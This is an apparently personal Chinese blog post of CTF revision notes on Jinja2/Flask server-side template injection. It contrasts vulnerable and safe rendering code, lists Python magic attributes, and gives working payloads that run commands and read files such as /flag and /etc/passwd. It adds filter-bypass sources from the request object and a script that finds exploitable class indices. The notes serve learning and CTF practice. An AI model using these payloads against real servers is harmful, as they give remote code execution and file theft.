ssti总结
本文最后更新于283 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

ssti总结

xy考的全是ssti,深刻感觉到自己的不足。脱离fenjing后根本手搓不出payload。复习顺便总结一下给自己回顾

ssti漏洞原理

SSTI引发的原因:

例如render_template等渲染函数的问题

渲染函数是什么:

就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户输入的信息来展示页面,因此才有了这个函数的使用。总的来说,在 Web 开发中,渲染函数负责将 用户输入的数据事先定义好的模板 结合,生成最终的 HTML(或其他格式)输出,并发送给客户端

常见的渲染函数

(1) Flask 中的渲染函数

函数 作用 示例
render_template() 渲染指定的模板文件.html),并传入变量 return render_template("index.html", name=user_name)
render_template_string() 直接渲染字符串模板(动态生成内容) return render_template_string("<h1>Hello {{ name }}</h1>", name=user_name)

(2) Django 中的渲染函数

函数 作用 示例
render() 渲染模板并返回 HttpResponse,支持请求上下文。 return render(request, "index.html", {"name": user_name})
TemplateResponse() 延迟渲染模板,适合中间件修改响应内容。 return TemplateResponse(request, "index.html", {"name": user_name})

(3) 其他框架/工具

函数/方法 作用 示例
Jinja2.Template.render() Jinja2 引擎直接渲染模板字符串。 Template("Hello {{ name }}").render(name="Alice")
ReactDOM.render() (前端) 在 React 中将组件渲染到 DOM 节点。 ReactDOM.render(<App />, document.getElementById("root"))

漏洞代码

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,
即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。因此才有了现在的模板注入漏洞。往往变量我们使用{{这里是内容}}
真因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞

render_template()函数为例:

看下面的两段代码

from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    t = '''
        <html>
            <h1>Hello %s</h1>
        </html>
        ''' % (name)
    # 将一段字符串作为模板进行渲染
    return render_template_string(t)

"""这样的代码同样存在漏洞
def index():
    name = request.args.get('name', default='guest')
    t = Template(
        '''
        <html>
            <h1>Hello %s</h1>
        </html>
        ''' % name
    )
    # 对模板对象进行渲染
    return t.render()
"""
app.run()

我们看代码执行顺序,是将name变量先拼接进去,然后再渲染。而name可控。这就是存在ssti漏洞的代码。

看下面这段代码

from flask import Flask, request, render_template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    # 
    return render_template('index.html', name=name)
app.run()

这个是先渲染index.html,然后拼接用户输入进去。这就是安全代码

ssti过程

前置知识

以下是魔术方法 和 特殊属性 的全面总结,我按功能整理了一些

1. 类与继承链操作

魔术方法/属性 作用 示例
__class__ 获取对象的类 "".__class__<class 'str'>
__mro__ 返回类的继承链(Method Resolution Order) "".__class__.__mro__(<class 'str'>, <class 'object'>)
__base__ 获取直接父类 "".__class__.__base__<class 'object'>
__bases__ 获取所有父类(元组形式) "".__class__.__bases__(<class 'object'>,)
__subclasses__() 获取当前类的所有子类(关键!用于找到 os._wrap_close 等危险类) object.__subclasses__()

2. 函数与全局变量访问

魔术方法/属性 作用 示例
__init__ 类的初始化方法,用于访问 __globals__ "".__class__.__init__.__globals__
__globals__ 获取函数的全局变量字典(含模块、内置函数) (lambda: None).__globals__
__builtins__ 访问 Python 内置函数和模块(如 evalopen __builtins__.eval("__import__('os').system('id')")
__import__ 动态导入模块(如 ossubprocess __import__("os").system("id")

3. 属性与字典操作

魔术方法/属性 作用 示例
__dict__ 获取对象的属性字典 "".__class__.__dict__
__getattribute__ 动态获取属性(类似 getattr "".__getattribute__("__class__")
__getitem__() 通过键访问对象属性(如字典式访问) "".__class__.__mro__.__getitem__(1)
__setattr__ 动态设置属性(可用于绕过过滤) object.__setattr__("x", "evil")

4. 字符串与序列操作

魔术方法/属性 作用 示例
__add__ 字符串拼接(绕过过滤) ("a"+"b").__class__<class 'str'>
__slice__ 序列切片(旧版 Python) "abc".__getslice__(0, 1)
__str__ / __repr__ 控制对象的字符串表示形式(可用于信息泄露) ().__class__.__str__

5. 危险函数调用

魔术方法/属性 作用 示例
__reduce__ 序列化时触发代码执行(配合 pickle pickle.dumps(os.system, protocol=0)
__call__ 使实例像函数一样被调用 ().__class__.__call__(eval, "1+1")
__new__ 创建对象时触发(早于 __init__ object.__new__(os._wrap_close)

6. 特殊模块与对象

魔术方法/属性 作用 示例
__self__ 获取绑定方法的实例对象 "".upper.__self__""
__func__ 获取未绑定的方法对象 "".upper.__func__
__code__ 获取函数的字节码(可用于逆向) (lambda: None).__code__

7.最简单基础的payload

大多数简单题都是围绕以下的语句进行构造绕过。

name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} //132是os_wrap_close类的位置
name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}   
name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

还可以{%%}来构造py语句

eg:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

常见的命令执行方式:

os.system()

这个函数输出是执行结果的返回值,而不是执行命令的输出,成功执行返回0,失败返回-1,所以是无回显

?name={{%20request.application.__globals__[%27__builtins__%27][%27__import__%27](%27os%27).system(%27whoami%27)%20}}

看web页面,回显的是执行成功的返回值0

image-20250415195608006

命令结果输出到了服务器终端里,也就是标准输出

image-20250415195743724

所以我们更多时候会用到下面这个命令

os.popen():

这个本身是不回显的,但是可以用.read()将结果从内存中读出来。

?name={{%20request.application.__globals__[%27__builtins__%27][%27__import__%27](%27os%27).popen(%27whoami%27).read()%20}}

看web页面,成功回显

image-20250415195851934

回到服务器终端,没有标准输出

image-20250415200006306

新的绕过

老套的绕过方式一搜一大把。这里总结一下xyctf学到的新的绕过方式。

1.从http-header中获取

request              #request.__init__.__globals__['__builtins__']
request.application  #指向当前Flask应用实例(即app=Flask(__name__)创建的app对象)request.application.__globals__
request.args.x1      #get传参
request.values.x1    #所有参数
request.cookies      #cookies参数
request.headers      #请求头参数
request.form.x1      #post传参    (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         #post传参    (Content-Type:a/b)
request.json         #post传json  (Content-Type: application/json)
request.mimetype     #获取Content-Type的内容
request.authorization.type和request.authorization.token   #获取Authorization的内容
request.origin       #获取Origin的内容
request.referrer     #获取Referrer的内容

遇到新的会回来补充>>>>>>>>>>>>>>>>>>>>>>

附:

我们用到subclasses通常会列出很多类,这里给出一个找我们需要的类的位置的脚本

import re

# 将查找到的父类列表替换到data中
data = r'''
    [<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
    for i in userful_class:
        if i in c:
            print(str(class_list.index(c)) + ": " + c)

参考文章:

https://www.cnblogs.com/tuzkizki/p/15394415.html

https://blog.csdn.net/weixin_51353029/article/details/111503731

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇